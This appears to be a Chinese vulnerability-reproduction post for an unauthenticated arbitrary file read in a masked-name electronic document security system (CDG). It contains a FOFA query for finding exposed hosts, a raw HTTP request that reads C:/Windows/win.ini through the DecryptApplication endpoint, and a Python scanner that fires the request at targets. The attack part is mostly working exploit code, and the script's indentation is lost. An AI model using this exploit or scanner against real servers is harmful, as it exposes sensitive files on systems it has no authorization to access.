漏洞简介
某赛通电子文档安全管理系统 DecryptApplication 接口处任意文件读取漏洞,未经身份验证的攻击者利用此漏洞获取系统内部敏感文件信息,导致系统处于极不安全的状态。
|------|--------|
| 漏洞等级 | 高危 |
| 影响版本 | * |
| 漏洞类型 | 任意文件读取 |
| 影响范围 | >1W |
产品简介
某赛通电子文档安全管理系统(简称:CDG)是一款电子文档安全加密软件,该系统利用驱动层透明加密技术,通过对电子文档的加密保护,防止内部员工泄密和外部人员非法窃取企业核心重要数据资产,对电子文档进行全生命周期防护,系统具有透明加密、主动加密、智能加密等多种加密方式,用户可根据部门涉密程度的不同(如核心部门和普通部门),部署力度轻重不一的梯度式文档加密防护,实现技术、管理、审计进行有机的结合,在内部构建起立体化的整体信息防泄露体系,使得成本、效率和安全三者达到平衡,实现电子文档的数据安全。
网络测绘
FOFA:body="/CDGServer3/index.jsp"
漏洞复现
手动验证POC
GET /CDGServer3/client/;login;/DecryptApplication?command=ViewUploadFile&filePath=C:///Windows/win.ini&uploadFileId=1&fileName1=ox9wcxwck7g1 HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
查询C:/Windows/win.ini 文件
python扫描验证脚本
#!/usr/bin/env python3
# -*- coding: UTF-8 -*-
"""
@Project :漏洞复现POC
@File :某赛通电子文档安全管理系统 DecryptApplication 任意文件读取漏洞.py
@Author :星之尘
@Date :2024/3/14 17:36
@脚本说明:
"""
#影响范围 >1W
import requests
from requests import Timeout
from urllib3.exceptions import InsecureRequestWarning
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36"
}
def scan(url, path):
if url.endswith("/"):
path = "CDGServer3/client/;login;/DecryptApplication?command=ViewUploadFile&filePath=C:///Windows/win.ini&uploadFileId=1&fileName1=ox9wcxwck7g1"
else:
path = "/CDGServer3/client/;login;/DecryptApplication?command=ViewUploadFile&filePath=C:///Windows/win.ini&uploadFileId=1&fileName1=ox9wcxwck7g1"
if not url.startswith('http://') and not url.startswith('https://'):
url1 = 'http://' + url
url2 = 'https://' +url
encodetext1 = url1 + path
encodetext2 = url2 +path
print(f"扫描目标: {url1}")
print("---------------------------------------------------")
flag1 = 0
flag2 = 0
try:
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
req1 = requests.get(encodetext1, headers=headers, verify=False, timeout=20)
if req1.status_code == 200 and "[fonts]" in req1.text:
flag1 = 1
req2 = requests.get(encodetext2, headers=headers, verify=False, timeout=20)
if req2.status_code == 200 and "[fonts]" in req2.text:
flag2 = 1
if flag1 or flag2:
print(f"[+] {url} !!!存在某赛通电子文档安全管理系统 DecryptApplication 任意文件读取漏洞!!!;")
else:
print(f"[-] {url} 不存在某赛通电子文档安全管理系统 DecryptApplication 任意文件读取漏洞")
except Timeout:
print(f"[!] 请求超时,跳过URL: {url}")
except Exception as e:
if 'HTTPSConnectionPool' in str(e) or 'Burp Suite Professional' in str(e):
print(f"[-] {url} 证书校验错误或者证书被拒绝")
else:
print(str(e))
if __name__ == "__main__":
# 在这里输入扫描目标url
url = ""
path = "/CDGServer3/client/;login;/DecryptApplication?command=ViewUploadFile&filePath=C:///Windows/win.ini&uploadFileId=1&fileName1=ox9wcxwck7g1"
scan(url, path)